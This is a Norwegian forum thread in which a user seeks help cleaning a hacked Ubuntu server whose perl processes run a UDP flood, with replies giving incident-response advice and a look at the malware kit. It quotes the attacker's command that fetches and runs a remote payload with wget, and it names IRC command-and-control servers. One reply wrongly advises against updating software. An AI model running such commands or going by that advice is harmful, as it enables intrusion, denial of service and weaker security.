Gå til innhold

Hacket Ubuntu server - perl kjører 100%


Anbefalte innlegg

Heisann!

 

Har fått min Ubuntu server hacket, og nå kjører perl den i senk her:

 

Her er litt output fra SSH:

 

Første koden er strace -p 17104 (som er en av de to perl prosessene som kjører serveren i senk)

getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
sendto(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1472, 0, NULL, 0) = 1472
getpeername(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("50.23.197.95")}, [16]) = 0
^CProcess 17104 detached
[b]root@lnx:/proc/17104/fd# lsof -w -n -p 17104[/b]
COMMAND   PID     USER   FD   TYPE     DEVICE SIZE/OFF       NODE NAME
perl    17104 www-data  cwd    DIR       8,17    16384    1050703 /usr/share/phpmyadmin
perl    17104 www-data  rtd    DIR       8,17     4096          2 /
perl    17104 www-data  txt    REG       8,17    10352     131697 /usr/bin/perl
perl    17104 www-data  mem    REG       8,17    22840     790892 /usr/lib/perl/5.10.1/auto/IO/IO.so
perl    17104 www-data  mem    REG       8,17    26968     790894 /usr/lib/perl/5.10.1/auto/Socket/Socket.so
perl    17104 www-data  mem    REG       8,17    43296       9249 /lib/libcrypt-2.12.1.so
perl    17104 www-data  mem    REG       8,17  1572232       9246 /lib/libc-2.12.1.so
perl    17104 www-data  mem    REG       8,17   136067       9248 /lib/libpthread-2.12.1.so
perl    17104 www-data  mem    REG       8,17   534832       9253 /lib/libm-2.12.1.so
perl    17104 www-data  mem    REG       8,17    14696       9262 /lib/libdl-2.12.1.so
perl    17104 www-data  mem    REG       8,17  1479112     134230 /usr/lib/libperl.so.5.10.1
perl    17104 www-data  mem    REG       8,17   141072       9254 /lib/ld-2.12.1.so
perl    17104 www-data    0r   CHR        1,3      0t0       4383 /dev/null
perl    17104 www-data    1w   CHR        1,3      0t0       4383 /dev/null
perl    17104 www-data    2w   CHR        1,3      0t0       4383 /dev/null
perl    17104 www-data    3u  sock        0,6      0t0 2088061586 can't identify protocol
perl    17104 www-data    4u  IPv4 2088415841      0t0        UDP 192.168.0.199:37179->50.23.197.95:domain
perl    17104 www-data   14w  FIFO        0,8      0t0    6774496 pipe
perl    17104 www-data   17r  FIFO        0,8      0t0    6774544 pipe
perl    17104 www-data   18w  FIFO        0,8      0t0    6774544 pipe
perl    17104 www-data   19r  FIFO        0,8      0t0    6774545 pipe
perl    17104 www-data   20w  FIFO        0,8      0t0    6774545 pipe
root@lnx:/proc/17104/fd#

 

 

Har forsøkt Google litt, men lite som hjelper meg.

Får ikke kjørt kill på noen av prosessene.

 

Her er top-en:

top - 22:23:22 up 64 days, 18 min,  2 users,  load average: 2.00, 2.04, 2.00
Tasks: 186 total,   3 running, 183 sleeping,   0 stopped,   0 zombie
Cpu(s): 55.6%us, 44.4%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   4056140k total,  2928176k used,  1127964k free,   221616k buffers
Swap:  6144856k total,    39872k used,  6104984k free,  1333676k cached

 PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
17104 www-data  20   0 22748 2788  524 R   99  0.1   2022:16 perl
17063 www-data  20   0 22748 2952  704 R   99  0.1   2018:26 perl
7920 root      20   0 1508m 558m 1544 S    1 14.1 722:41.85 java
   1 root      20   0 23896 1232  600 S    0  0.0   0:02.59 init
   2 root      20   0     0    0    0 S    0  0.0   0:00.44 kthreadd
   3 root      20   0     0    0    0 S    0  0.0   1:28.04 ksoftirqd/0
   4 root      RT   0     0    0    0 S    0  0.0   0:09.44 migration/0
   5 root      RT   0     0    0    0 S    0  0.0   0:00.17 watchdog/0
   6 root      RT   0     0    0    0 S    0  0.0   0:10.45 migration/1
   7 root      20   0     0    0    0 S    0  0.0   1:39.65 ksoftirqd/1
   8 root      RT   0     0    0    0 S    0  0.0   0:00.19 watchdog/1
   9 root      20   0     0    0    0 S    0  0.0   1:16.24 events/0
  10 root      20   0     0    0    0 S    0  0.0   1:46.38 events/1
  11 root      20   0     0    0    0 S    0  0.0   0:00.00 cpuset

 

Om server kobles til nettet, stanser routeren på nettet helt opp (naturligvis..)

Noen hjelp til hvor jeg bør starte?

 

Absolutt all hjelp tas hjertelig imot!

Endret av m0g1e
Lenke til kommentar
Videoannonse
Annonse

Har drept perl-prosessene som kjørte (vha kill -9 17104 etc.)

 

Installerer nå clamav og forsøker å se om det er noe snusk her.

Alikevel, er det større sannsynlighet at det er SQL-injection eller noe som er årsaken til dette?

 

Popper opp nye www-data perl PID'er hele tiden... når det blir nok av dem dannes en større perl PID i toppen av top som tidvis spiser mer og mer CPU.

 

De nye PID'ene har koden, som repterer seg hele tiden

select(8, [3], NULL, NULL, {0, 0}) = 0 (Timeout)
select(0, [3], NULL, NULL, {0, 0}) = 0 (Timeout)

 

- Uansett, får jeg ikke noen feil etter en reboot, remove av phpmyadmin, og reinstall av phpmyadmin. Skal se om serveren koker egg i morgen tidlig derimot.

Lenke til kommentar

Vet dessverre ikke hvordan man løser problemet ditt,men hadde du giddet å laste opp filene? Skulle likt å se på de.

 

Det du kan gjøre er å feks endre rettighetene på perl interpreteren og restarter maskinen.

 

 

Jeg tror du dessverre ikke helt vet hva du snakker om... dette er ikke Windows og ingen infiseringer, men bare prosesser som kjører, og som er "ESTABLISHED" mot en ekstern IP(UDP).

 

En kompis av meg sa det var stor sannsynlighet at det var en injection i PHPMyAdmin, da jeg ikke klarte å få tilbake perl-"spawningen" i ettertid. Heller ingen brukere eller andre tilkoblet SSH eller lignende har vært innom serveren via /var/log'er som jeg har sett igjennom.

 

Trolig har det løst seg, men vil sjekke med tiden fremover..

Lenke til kommentar

Du har en backdoor et sted, googler du IPen den kobler seg opp mot ser jo du at det er en kjent malware host som har hostet banking trojans, exploit kits osv. Dataen som blir sendt "A" tyder på at det er noen som kjører et UDP flood mot den serveren, så sikkert noen konkurrenter.

 

 

http://www.malwareurl.com/ns_listing.php?ip=50.23.197.95

https://zeustracker.abuse.ch/monitor.php?search=hewj.mooo.com

 

Å kjøre PHPMyAdmin på en server som er koblet til Internet er jo som å delta i homseporno og sattes på å ikke bli pult i ræven, du bør heller kjøre det på en server som kun kan nåes over lokal nettet. Perl bør du også avinstallere om du ikke trenger det, det gjelder også ting som gcc og andre slike ting. Det enkleste blir å bare laste inn backups, og for all del ikke oppdater softwaren du har kjørende på serveren. Må du absolutt ha PHPMyAdmin på serveren så la no det ikke ligge i en mappe som heter PHPMyAdmin.

Lenke til kommentar

Det er vanskelig aa si hvordan angriperen har kommet seg inn (ivertfall utifra den informasjonen som har blitt gitt her), men en hack via phpmyadmin eller injection eller angrep av en eller annen dynamisk web-modul er nok den mest sansynlige culprit'en her. Om crackeren(e) var kompetente ville de vel ikke lagt igjen slike ekstreme og innlysende red-flags som dette etter seg, saa du ser nok etter enten ett autonomous script eller en script kiddie av ett eller annet slag.

 

Har du kjort rkhunter og chkrootkit og sjekket om de har klart aa faa root paa serveren eller evt. lagt igjen noen andre kjente scripts?

 

Om du kjorer phpmydamin og slikt er det ikke engang sikkert det er en faktisk person du har blitt hacket av, det kan likegodt vaere ett automomous script (og disse er det meeer nok av der ute..)

 

Er enig med DownGoat, den strace'n ser mer ut som en form for DOS enn noe mer konstruktivt eller "insidious".. port 53/UDP er ogsaa DNS saa enten forsoker scriptet aa resolve en addresse mot en spesifik DNS, eller saa spammer det requests/DOS'er den. UDP/53 er heller som kjent ikke vanlig aa ha aapen inkommende paa en server som ikke kjorer da kjorer en DNS..

 

 

En kompetent hacker ville heller aldri lagt igjen slike ekstremt brennende innlysede spor, saa det er nok kanskje en viss sansynlighet du finner mer ulumskheter ikke er saa veldig godt gjemt rundt paa systemet, feks /tmp eller /home/ til brukeren (om den har en..) og andre slike steder. (om de da ikke har faatt root..)

 

Uansett, absolutt uanset hva eller hvem det er, burde du ta backup av saa mye som mulig og reinstallere fra scratch og restore manuelt fra en backup du vet du kan stole paa.

 

Om du er mer interessert i det tenkiske aspektet av angrepet er rutinene aa produsere ett (cold) image av systemet (dd eller dcfldd etc.), men dette er strengt talt bare relevant om du faktisk har tenkt aa forfolge dette i en juridisk sammenheng eller ut av egen interesse.. dette da etter du har gjort saa mye (hot/warm) forensics som du har mulighet til.

 

Det sier seg ogsaa selv at passordene du har brukt paa systemet, systemer og brukere paa systemet naa er null and void, og du burde gaa hardt gjennom rutinene for aa forsikre deg om at dette ikke sprer seg til andre systemer.

 

 

Formater, reinstaller absolutt alt og sett det opp helt paa nytt, og restore webcontents fra en sikker backup (etter aa ha skiftet alle passord etc. seff) er den eneste fornuftige veien videre.

 

I fremtiden vil jeg ogsaa anbefale aa installere feks. OSSEC og eksempelvis Tripwire paa systemet.

Lenke til kommentar

Hei! takk for alle tips og lange svar!

 

Tar ting litt steg for steg her. Har kjørt chkrootkit og rkhunter. (logger de under)

 

chkrootkit -q log	

/usr/lib/jvm/.java-6-openjdk.jinfo /usr/lib/pymodules/python2.6/.path /usr/lib/xulrunner-1.9.2.27/.autoreg

The tty of the following user process(es) were not found
in /var/run/utmp !
! RUID          PID TTY    CMD
! rt           2461 pts/0  /bin/bash
! root         2695 pts/1  java -Xms1024M -Xmx1024M -jar minecraft_server.jar nogui

 

rkhunter:

http://pastebin.no/338i

 

Har en del spørsmål for øvrig:

- Hva bør jeg sjekke ut videre fra loggene over?

- Er ikke perl og gcc ofte nødvendig på en server (webserver,ftp-server, etc)? Har liten kunnskap om dette.

- Er virkelig PHPMyAdmin så udugelig og full av bugs at det ikke er vits å bruke? Har stor nytte av det, men om det finnes bedre alternativer, så benytter jeg gjerne det for administrering av MySQL.

- Har sett i /tmp for skjulte filer (Googlet lignende problem i går ang perl~100%CPU), og mappen er forsåvidt fri for ulumskheter tror jeg.

- Vil kjøre reinstall av Ubuntu serveren, men har et stort RAID5 uten direkte backup (yes, I'm a idiot..), og venter på harddisker for kopiering av innhold akkurat nå.

- Har ofte brukt HowToForge sin "PerfectUbuntuServer" oppskrift for installering av webserver og lignende. Kan hende de tutorialene er candy som alle mulige bots som prøve å utnytte feil som er gjort i de?

- Kjenner ikke til OSSEC og Tripwire. Er disse tunge monitorprogrammer (gratis?) som kjøres på serveren for sikkerheten?

 

Igjen takk for lange og utledende poster. Er spent på hva jeg kan finne ut av loggene over. :)

Lenke til kommentar

Enda en ting..

- Sikkerhet rundt ISPconfig? Vurderer sterkt å fjerne det for å simplifisere webserveren min da det gir mer rot enn forenkling..

- Hvorfor var (antagelig) en reboot avgjørende for at ikke perl-prosessene ble kjørt igjen? Tyder dette på at prosessene ble generert lokalt eller eksternt?

Lenke til kommentar

Hei! takk for alle tips og lange svar!

 

Tar ting litt steg for steg her. Har kjørt chkrootkit og rkhunter. (logger de under)

 

chkrootkit -q log	

/usr/lib/jvm/.java-6-openjdk.jinfo /usr/lib/pymodules/python2.6/.path /usr/lib/xulrunner-1.9.2.27/.autoreg

The tty of the following user process(es) were not found
in /var/run/utmp !
! RUID          PID TTY    CMD
! rt           2461 pts/0  /bin/bash
! root         2695 pts/1  java -Xms1024M -Xmx1024M -jar minecraft_server.jar nogui

 

rkhunter:

http://pastebin.no/338i

 

 

Ser ikke ut som det er noen videre ulumskheter funnet av hverken rkhunter eller chkrootkit, minecraft slaar ut siden det ikke har noen terminal tilknyttet og har en nettverksport assosiert med seg. Siste delen av rkhunter mangler men utifra det som jeg ser her er det ikke noe utover 'sulogin' som ser ulumsk ut, men om dette er forste gang du kjorer disse applikasjonene kan de ikke sammenligne hash'en av filene for aa se om de har blitt endret nylig..

 

Har en del spørsmål for øvrig:

- Hva bør jeg sjekke ut videre fra loggene over?

Ikke direkte ut i fra det jeg ser her, med mulig unntak av 'sulogin', men det trenger nodvendigvis ikke vaere noe ulumsk, men er ikke helt kjent med hvordan ubuntu gjor ting saa det kan likegodt vaere "normalt".

 

- Er ikke perl og gcc ofte nødvendig på en server (webserver,ftp-server, etc)? Har liten kunnskap om dette.

 

AA ikke kjore perl og gcc paa en server er i mange tilfeller sett paa som "gode sikkerhetsrutiner", men paa en multi-purpose server som dette ser ut som utveier fordelene bakdelene. Om du virkelig ikke vil kjore uten Perl og GCC ville jeg anbefalt aa brukt ett form for VPS/jail der bare det mest nodvendige er installert og hostet web derfra, fremfor aa avinstallere det paa selve systemet.

 

Argumentet for hvorfor Perl og GCC er bra aa ikke ha installert er at da kan ikke crackers kjore sine scripts eller kompilere kode til andre scripts.. men dette er mer beskyttelse mot privilege escalation (dvs. at crackeren skal ha storre problemer med aa faa root paa systemet) enn beskyttelse mot "cracking" i seg selv.

 

Om du vil kjore uten disse kan du vurdere aa kjore ett form for jail paa serveren, vet Debian har noen i sine repos' saa antar at Ubuntu er likedan.

 

- Er virkelig PHPMyAdmin så udugelig og full av bugs at det ikke er vits å bruke? Har stor nytte av det, men om det finnes bedre alternativer, så benytter jeg gjerne det for administrering av MySQL.

 

PHPMyAdmin er ikke full av bugs eller noe magisk bakdor til noen systemer, men PHPmyAdmin er det forste og mest vanlige autonomous scripts soker etter, wordpress default dirs og slikt er vel det nest mest vanlige. Saa langt ting er satt opp skikkelig og setup filer er fjernet og directory listing er slaatt av er det mer mengden angrep som fokuserer paa dette som er problemet fremfor at noen av disse tingene har "bugs" eller kritiske sikkerhetshull som kan gi tilgang til systemet.

 

- Har sett i /tmp for skjulte filer (Googlet lignende problem i går ang perl~100%CPU), og mappen er forsåvidt fri for ulumskheter tror jeg.

 

Dette basert paa loggene fra chkrootkit samt rkhunter er det tvilsomt at noen har aktivt forsokt aa faa root paa serveren.. men man vet jo aldri. Tvilsomt at de ville skjult sine spor saa godt men latt ett script som det perl scriptet kjorende..

 

- Vil kjøre reinstall av Ubuntu serveren, men har et stort RAID5 uten direkte backup (yes, I'm a idiot..), og venter på harddisker for kopiering av innhold akkurat nå.

 

Backup er dyrt, saa enkelt. Og virkeligheten stemmer ikke alltid med det optimale.

Calculated risk heter det :) Om du ikke har mulighet til full backup ville jeg i det minste tatt jevnlig backup av konfigurasjonsfiler, web-innhold samt sql databaser, dette tar ikke stort storre plass enn at du har plass paa en ekstern harddisk og gjor at man raskt og enkelt kan restore om det utenkelige skulle skje :)

 

- Har ofte brukt HowToForge sin "PerfectUbuntuServer" oppskrift for installering av webserver og lignende. Kan hende de tutorialene er candy som alle mulige bots som prøve å utnytte feil som er gjort i de?

 

Det er nok heller tvilsomt at det er noen storre feil i disse guidene, er mer sansynlig at en php/web-modul du har kjort paa serveren har hatt en svakhet som har blitt utnyttet fremfor at du har gjort noe direkte feil under selve installasjonen..

 

- Kjenner ikke til OSSEC og Tripwire. Er disse tunge monitorprogrammer (gratis?) som kjøres på serveren for sikkerheten?

 

OSSEC er helt topp siden det gjor det aller meste sikkerhetsrelatert paa systemet, dette er ett utmerket server-side IDS/IDP som vil sjekke at konfigurasjonsfiler og andre essesielle ting ikke blir endret (IDS), samt at det ogsaa har mulighet for saakalte 'active responses' (IDP) som kan banne ip'er og slikt som prover litt for mange ganger aa faa tilgang til forskjellige deler av systemet (apache, ssh, etc.)

 

Igjen takk for lange og utledende poster. Er spent på hva jeg kan finne ut av loggene over. :)

 

Ikke noe problemer :)

  • Liker 1
Lenke til kommentar

Enda en ting..

- Sikkerhet rundt ISPconfig? Vurderer sterkt å fjerne det for å simplifisere webserveren min da det gir mer rot enn forenkling..

 

Er desverre ikke kjent med ISPconfig saa det kan jeg nesten ikke svare paa :)

 

- Hvorfor var (antagelig) en reboot avgjørende for at ikke perl-prosessene ble kjørt igjen? Tyder dette på at prosessene ble generert lokalt eller eksternt?

 

Om det forsvant etter en reboot var det nok en injection fremfor en hack for aa si det slik, uten aa se selve scriptet og uten aa vite mer om selve angrepet er det vanskelig aa si.. enten har du oppdaget scriptet for script-kiddien har faatt svar og hatt mulighet til aa kjore sine andre scripts.. eller kanskje DOS var rett og slett det de onsket aa oppnaa?

Lenke til kommentar

en DOS kan virke sannsynlig. Det har virket som prosessene som kjørte ville generere mest mulig trafikk, så CPU-en stod i taket..

 

Hele nettet knelte fullstendig så raskt serveren ble koblet opp mot nettet. Vi har og hatt større problemer med nettet i det siste, og dermed uten nett-tilgang fordi routeren ikke kommuniserte, samt at modem kanskje har lidd samme skjebne.

 

Igjen tusen takk for alle tipsene. Du har vært utrolig hjelpsom Infected :)

Lenke til kommentar
  • 2 uker senere...

Da er vi pån igjen..

 

Denne gangen er det litt anderledes, da jeg har funnet rester av hacken:

 

uname -a
cd /tmp
wget http://216.142.158.137/.badboy/shellcmdl;tar xf shellcmdl;rm -rf shellcmdl; cd .s;./start.sh

 

Dette lå i .bash_history til www-data. Tydeligvis har bruker hatt kontroll over denne kontoen da den kjørte /bin/sh shell. Det ser ut som DoS angrep. Har nå endret shell på www-data til /dev/null og fjernet passord helt.

 

har lastet ned tar-pakken over og sett over kommandoene, og de passer med crontab som er blitt lagt inn for brukeren.

 

Er litt mange linjer med kode i de forskjellige filene, så begynner ikke med pastebin her.

Problemet er at jeg ennå ikke vet helt hvor hackeren har kommet seg inn. www-data passordet forandret jeg ikke sist, så det kan være så enkelt - men hvordan kontoen ble hacket i utgangspunktet vet jeg ikke..

Lenke til kommentar

Hei,

 

*dumt* spørsmål for å starte med, men "wget http://216.142.158.137/.badboy/shellcmdl" noen har altså fått til å lase ned den fila også kjørt den osv?

 

Driver akkurat nå og går dypere ang. malware analyse osv men driver bare med veldig begrensede ting innenfor linux så du får unnskylde mine kanskje noe dumme spørsmål, hehe

 

~ Submit

 

Det er ganske så sant :)

 

Til og med MSE fant Linux/DoS infiseringer service når jeg scannet filen i Windows.

Det eneste jeg lurte på om om noen ønsket å laste ned filen og titte på kommandoene som er blitt kjørt, og se om det er noe spesielt jeg bør dobbeltsjekke på mitt system.

 

Det er ganske tydelig at det har vært et DoS angrep i denne pakka.

 

Nom nom ivei :)

Lenke til kommentar

(skrev den litt istad, men dette er bare 3 av filene som lå der og kanskje litt rotete men)

 

Okay, så alt det jeg har funnet ut så langt;

 

om du stikker på "http://216.142.158.137/.badboy/" så inneholder den disse filene:

 

Perl: TCPflooderen som tar imot kommandoer fra C&C serveren (en IRC server) også kjører et DoS angrep.

 

I : Inneholder mange exploits, bla en del forskjelige Local root exploit, "Linux Hider v2.0 by mave", CVE-2009-2267 (en ennen local root exploit), en redhat 5.3 og centOS 5.3 exploit og en exploit med ref: http://seclists.org/fulldisclosure/2010/Oct/257. Bare for å nevne noe.

 

shellcmd1: Ser ut som inneholder et prg som har muligheten for å gjemme filer under andre prosesser, samtidig som den inneholder noen IRC refferanser som i "perl fila"

eks,

"

mask *!*@badboy.fucked.your.mom

prot 4

aop

channel *

access 100

 

handle badboy

mask *!*@notbad.users.undernet.org"

etterfulgt av en liste med IPer som er kliss lik den postet her: http://pastebin.com/uqycKegf

 

også en annen TCP floder, Fuck.c by SirVic Of UnderNet =),

 

etterfulgt av noe skrevet på nederlansk, FUDEDOR4.C (v4.0) by Alexander,

 

også kommer SirVic of Undernet igjen med noen flooders navna flood2.c.

"Made by SirVic Of UnderNet for #WhiteHat Team ! =)" lol :p

 

men så kommer det noe veldig interessant:

 

 

USERFILE 1

CMDCHAR .

LOGIN Flood

IRCNAME lotus's shellcmd bot 2012 ;]

MODES +ix-ws

TOG CC 1

TOG CLOAK 1

TOG SPY 1

SET OPMODES 4

SET BANMODES 6

SET AAWAY 0

TOG NOIDLE 1

 

CHANNEL #fl00d

TOG PUB 1

TOG MASS 1

TOG SHIT 1

TOG PROT 1

TOG ENFM 1

SET ENFM +nts

SET MDL 4

SET MKL 4

SET MBL 4

SET MPL 1

 

server irc.badspiderleader.com 6667

server irc.badspiderleader.com 7000

server irc.badspiderleader.com 9000

 

 

 

shellcmd ser forøverig helt lik ut.

 

Om du finner noe nytte av dette og evnt lurer på noe så si ifra så skal jeg ta meg et nytt dykk :p

 

~ Submit

Endret av Submit
Lenke til kommentar

Ang. phpmyadmin, så er det ikke "gift", ettersom det tross alt kjøres av nær sagt alle store hostingleverandører. Når det er sagt, kjører de aller fleste et rimelig strengt sikkerhetsopplegg rundt det. Det har en ganske dårlig track-record, så om det kun er du som skal bruke det, ville jeg heller brukt en MySQL-klient på din egen maskin. Eller i det minste sørget for at phpmyadmin kun var tilgjengelig når du trenger det, for eksempel gjennom en .htaccess-fil.

 

Ellers interessant tråd. Økende grad av gjør-det-selv folk med hostede servere eller hjemmeserver på gode linjer som er på 24/7 gjør nok dette mer og mer fristende.

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...